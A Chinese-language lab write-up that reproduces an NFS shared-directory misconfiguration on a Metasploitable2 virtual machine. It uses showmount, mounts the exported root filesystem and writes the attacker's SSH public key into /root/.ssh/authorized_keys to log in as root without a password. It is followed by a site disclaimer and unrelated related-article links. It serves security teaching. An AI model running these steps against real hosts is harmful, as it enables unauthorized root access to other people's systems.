Linux NFS共享目录配置漏洞

Linux NFS共享目录配置漏洞

  • 一、实验目的
  • 二、实验原理
  • 三、复现准备
  • 四、漏洞复现
    • 4.1、复现前提
    • 4.2、正式复现

一、实验目的

  • 利用 NFS共享目录配置漏洞读取目标主机的 /etc/passwd 文件内容
  • NFS 服务配置漏洞,赋予了根目录远程可写权限,导致 /root/.ssh/authorized_keys 可被修改,实现远程ssh无密码登陆

二、实验原理

  • NFS,用于在网络上共享文件系统的分布式文件系统协议,是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送
  • NFS服务配置漏洞赋予了根目录远程可写权限,导致 /root/.ssh/authorized_keys 可被修改,实现远程ssh无密码登录
  • 影响系统/软件:
    • 所有Linux系统的NFS服务

三、复现准备

  1. 靶机:Metasplotable2-Linux - 192.168.9.147
  2. 攻击机:Kali - 192.168.9.148

四、漏洞复现

4.1、复现前提

  1. 使用nmap扫描靶机的IP地址,可以看到靶机的2049端口开放,且使用了nfs服务
    在这里插入图片描述

  2. 尝试查看靶机利用NFS共享的全部文件夹:看到结果是 / * 这表示将根目录下单全部文件都共享了

showmount -e 192.168.9.147

在这里插入图片描述

  1. 在攻击机上面创建一个根文件夹 /temp1/,其目的就是映射共享文件夹下的根目录
    在这里插入图片描述

  2. 将靶机上的共享文件挂载到该文件上面

mount -t nfs 192.168.9.147:/ /temp1 -o nolock

在这里插入图片描述

  1. 在挂载成功之后我们可以通过 df-h 命令查看所有的本地磁盘的信息
    在这里插入图片描述

  2. 输入cd /temp1 可以进入该文件夹
    在这里插入图片描述

  3. 输入 ls -al 可以查看所有的文件
    在这里插入图片描述

  4. 我们尝试用ssh服务连接上靶机

    • 输入命令 ssh root@192.168.9.147
    • 发现需要输入密码,但是我们是不知道密码的
  5. 接下来可以利用nfs漏洞实现远程ssh无密码登录

4.2、正式复现

  1. 生成一组公私钥:ssh-keygen

    • 公私钥存放的地址 /root/.ssh/id_rsa
      在这里插入图片描述
      在这里插入图片描述
  2. 将公钥传输给靶机

cp /root/.ssh/id_rsa.pub /temp1/root/.ssh/authorized_keys 

在这里插入图片描述

  1. 传输成功之后再次尝试使用ssh命令连接靶机
    在这里插入图片描述

  2. 成功
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/691032.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【c++】set、map用法详解

set、map用法详解 1. 关联式容器2. 键值对2.1 :pair2.2:make_pair 3. 树形结构的关联式容器3.1:set构造函数find()erase()insert()count()lower_bound()upper_bound() 3.2:multiset3.3:map构造函数insert()operator[] …

how to install Mysql client and desktop version/workbench

6.1 MySQL数据库 MySQL下载与安装 进入mysql官网,找到社区版MYSQL下载地址:https://dev.mysql.com/downloads/ second one.zip for download 使用管理员身份打开cmd,并cd到bin目录下,进行初始化数据库存储文件:mys…

代码+视频,R言语处理数据中的缺失值

在SCI论文中,我们不可避免和缺失数据打交道,特别是在回顾性研究,对于缺失的协变量(就是混杂因素),我们可以使用插补补齐数据,但是对于结局变量和原因变量的缺失,我们不能这么做。部分…

VC++ 6.0开发文件重复整理工具开发

开发背景:手机上的文件越来越多,想要备份下文件结果文件太多杂乱无章且重复文件冗余存储造成存储空间滥发,所以决定开发一个小工具来整理重复文件。由于本人电脑运行慢,选择VC6.0作为开发IDE,操作虽然麻烦点&#xff0…

【FPGA/数字IC】Multiport RAM,多读多写寄存器-——基于FPGA BRAM的多端口地址查找表与FPGA BRAM的资源分析

目录 背景 手写Multiport Ram Multiport RAM 代码方案 资源评估 Multiport RAM 资源利用的优化 资源评估 防止读写冲突的组合逻辑设计(写优先) 仿真和时序 单口写数据 单端口读数据 多口读相同数据 多口同时读不同数据 背景 在多端口交换机的…

商务英语口语成人考级外语培训之BECkao考级口语篇

在口语考试中,不管实际内容你能说出多少,但准备一些套话,至少还能撑撑场子你们说是不是? 内容阐述 描述事实 1.Im going to describe/present/explain/give you some information about... 2.Id like to say a few words about...…

探索全画面塑料焊接透光率检测仪的科技魅力

在精密工业和科研领域中,对材料的光学性能有着严格的要求。全画面塑料焊接透光率检测仪是一种先进的设备,它能够精确测量塑料焊接接头的透光率,确保焊接质量符合高标准。本文将详细介绍这一设备的特点、工作原理以及它在实际应用中的重要性。…

简易留言板

目录 前端实现 数据库的使用 创建数据表 创建项目 连接数据库 后端实现 接口定义 持久层 业务逻辑层 控制层 前端代码完善 留言板是一个常见的功能,在本篇文章中,将实现一个简易的留言板: 页面中能够显示所有留言内容&#xff0c…

C++类和对象(5)static修饰的静态成员变量函数

1.静态成员函数和静态成员变量的引入 (1)我们通过以下面的这个例子逐步引出静态的成员变量和成员函数: 我们自己定义一个类,使用这个类创建对象,我们应该如何判断在这个程序执行的过程中,创建了多少个对象…

深度解析Nginx:高性能Web服务器的奥秘(上)

🐇明明跟你说过:个人主页 🏅个人专栏:《洞察之眼:ELK监控与可视化》🏅 🔖行路有良友,便是天堂🔖 目录 一、前言 1、Nginx概述 2、Nginx的历史与发展 3、Nginx的…

软件全套资料梳理(需求、开发、实施、运维、安全、测试、交付、认证、评审、投标等)

软件全套精华资料包清单部分文件列表: 工作安排任务书,可行性分析报告,立项申请审批表,产品需求规格说明书,需求调研计划,用户需求调查单,用户需求说明书,概要设计说明书&#xff0c…

根据docker部署nginx并且实现https

目录 一、Docker中启用HTTPS有几个重要的原因 二、https介绍 三、https过程 四、安装docker-20.10.18 五、如何获取证书 通过阿里云获取证书 六、docker部署nginx并且实现https 6.1准备证书 6.2准备nginx.conf 和 index.html文件 6.3生成容器 6.4浏览器验证证书 一、…

2024年4月24日华为春招实习试题【三题】-题目+题解+在线评测,2024.4.24,华为机试

2024年4月24日华为春招实习试题【三题】-题目题解在线评测,2024.4.24,华为机试 🏩题目一描述:输入格式输出格式样例1样例2样例3数据范围解题思路一:dfs解题思路二:直接二分查找哇!解题思路三&am…

MySQL数据库的初始化(创建库、创建表、向数据库添加测试数据)

MySQL数据库的初始化(创建库、创建表、向数据库添加测试数据) MySQL数据库简介MySQL创建一个新的数据库MySQL创建一张新的数据表简单(设置)表复杂(设置)表 填充测试数据SQL语句mysql>模式下输入的每句sq…

技术爱好者必看:如何用AI问答API彻底改变用户体验!

AI 问答 API 对接说明 我们知道,市面上一些问答 API 的对接还是相对没那么容易的,比如说 OpenAI 的 Chat Completions API,它有一个 messages 字段,如果要完成连续对话,需要我们把所有的上下文历史全部传递&#xff0…

FreeRtos内核源码分析(九)——协程

目录 一、协程简介 二、协程工作机制 2.1 协程控制块结构 2.2 协程管理方式 2.3 协程调度方式 2.4 协程通信机制 三、协程状态及状态切换 3.1 协程状态 3.2 状态切换 四、协程创建 五、协程调度分析 5.1 源码分析 5.2 逻辑图分析 六、协程通信 6.1 协程发送消息…

如何清除DNS缓存,刷新DNS

大家在使用域名访问服务器的时候,经常会遇到一个问题,同一个局域网里的两台电脑,一台可以访问而另一台不行。这是为什么呢?这里我要和大家说下DNS缓存的问题,顾名思义,每台电脑都有DNS缓存,在域…

ElasticSearch 8.X 源码导入idea并配置环境启动调试(mac环境)

主要是用于自己记录配置流程 环境 IntelliJ IDEA 2024.1.1 (Community Edition) jdk17(可以安装jenv管理) macos 14.4.1 gradle 8.5 资源准备 先在官网下载elasticsearch源码(GitHub - elastic/elasticsearch: Free and Open, Distrib…

webservice和TCP类型接口测试

1.webservice类型接口 1.1.webservice类型接口介绍 Web服务(WebService)是一种基于网络的应用程序接口(API),可通过网络来进行通信和交互。它们使用标准化的协议和格式来进行通信,最常见的是使用XML&#…

AI图书推荐:利用生成式AI实现业务流程超自动化

《利用生成式AI实现业务流程超自动化》(Hyperautomation with Generative AI)这本书探索了广泛的用例和示例,展示了超自动化在不同行业、领域和特定部门的多样化应用, 让您熟悉UiPath、Automation Anywhere和IBM等流行工具和平台&…